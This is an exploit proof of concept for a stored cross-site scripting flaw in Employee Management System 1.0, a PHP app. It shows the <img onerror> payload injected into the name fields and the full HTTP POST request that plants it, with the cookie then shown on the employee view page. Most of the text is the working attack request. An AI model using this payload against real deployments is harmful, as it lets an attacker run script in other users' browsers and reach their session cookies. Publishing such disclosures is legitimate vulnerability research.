#Exploit Title: Employee Management System 1.0 - Stored Cross Site Scripting #Date: 2020-10-16 #Exploit Author: Ankita Pal #Vendor Homepage: https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html #Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip #Version: 1.0 #Tested on: Windows 10 + xampp v3.2.4 Proof of Concept::: Step 1: Open the URL localhost:8081/Employee Management System/addemp.php Step 2: Use payload <img src=x onerror=alert(document.cookie)> in First Name and Last Name. Malicious Request::: POST /Employee%20Management%20System/////process/addempprocess.php HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------3267707159765331982713791736 Content-Length: 1571 Origin: http://localhost:8081 Connection: close Referer: http://localhost:8081/Employee%20Management%20System/////addemp.php Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv Upgrade-Insecure-Requests: 1 -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="firstName" <img src=x onerror=alert(document.cookie)> -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="lastName" <img src=x onerror=alert(document.cookie)> -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="email" [email protected] -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="birthday" 2020-09-28 -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="gender" Female -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="contact" 9876543211 -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="nid" 12 -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="address" Gujarat -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="dept" CS -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="degree" BE -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="salary" -----------------------------3267707159765331982713791736 Content-Disposition: form-data; name="file"; filename="" Content-Type: application/octet-stream -----------------------------3267707159765331982713791736-- Cookie will be reflected on View Employee.